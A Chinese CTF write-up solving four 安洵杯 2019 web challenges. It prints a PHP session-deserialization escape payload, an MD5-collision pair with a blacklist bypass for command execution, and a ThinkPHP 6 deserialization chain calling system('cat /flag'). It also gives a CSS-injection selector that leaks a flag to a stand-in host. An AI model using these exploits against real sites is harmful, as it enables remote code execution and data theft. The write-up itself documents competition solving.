安洵杯2019

[安洵杯 2019]easy_serialize_php

php 复制代码
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

简单看了下phpinfo()发现:auto_append_file:d0g3_f1ag.php

显然我们就是要去读这个文件!手段就是控制$_SESSION['img']='ZDBnM19mMWFnLnBocA=='

一看一个反序列化的洞,原本是没有利用空间的,但是extract($_POST);的出现导致我们可以覆盖

那么剩下就简单了,字符串减少逃逸!

php 复制代码
<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION['user'] = 'flagflagflagflagflagphp';
$_SESSION['function'] ='";s:8:"function";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
$a = unserialize($serialize_info);
var_dump($a);
?>

写这个exp主要是为了看看我们要逃逸的字符是哪些,为了方便赋值!

payload:

XML 复制代码
?f=show_image

post:

_SESSION[user]=flagflagflagflagflagphp
&_SESSION[function]=";s:8:"function";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里特别注意是没有$这个的!然后就拿到flag了!

[安洵杯 2019]easy_web

什么鬼?很容易就可以发现有个任意文件读取的洞!这里有些无语我两次base64解码之后以为得到的是md5,但是md5是32位这里显然不是!然后再解码发现是16进制

那么就先去读源码index.php

php 复制代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

md5强比较用:

XML 复制代码
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

如何虽然过滤了那么多,用\就好了!cmd=ta\c /flag!即可拿到flag

[安洵杯 2019]iamthinking

tp6的一个反序列化洞,不是很会,直接拿payload来打吧!

php 复制代码
<?php
 
namespace think\model\concern;
 
trait Attribute
{
    private $data = ["key" => ["key1" => "cat /flag"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;
 
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}
 
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));

/pubilc/?payload=

传参即可!

[安洵杯 2019]cssgame

这题整不出,要配置一些东西!但是我之前反弹shell配置了内网的映射啊!

现在用不了,难绷!

考的知识点就是css注入,原理就是利用css的选择器

input[name=flag][value^="f"] ~ * {background-image: url("http://x.x.x.x/?flag=f");}

先找到name为flag的input元素,然后如果是以f开头的就访问后面那个url,于是我们就可以开始爆破,主要控制value^="f"与url进行一个映射!但是题目不出网,所以我们内网映射,然后起个pythonweb服务........但是我弄不了!有会的师傅,教教我!

相关推荐
Z3r4y8 天前
【AI】2025 0x401新生交流赛 wp
人工智能·ai·ctf·wp
Z3r4y17 天前
【Reverse】BUUCTF 第一页 wp
ctf·reverse·buuctf·wp
rufeii2 个月前
GYCTF2020
代码审计·wp
rufeii2 个月前
网鼎杯 2020 朱雀组
wp·网鼎杯
亿.62 个月前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
Z3r4y5 个月前
【Web】京麒CTF 2025 决赛 wp
web·ctf·wp·京麒ctf2025
_Poseidon7 个月前
2025蓝桥杯WP
蓝桥杯·wp·2025
Z3r4y1 年前
【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)
web安全·ctf·wp·西湖论剑
Z3r4y1 年前
【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
web·ctf·wp·国城杯·国城杯决赛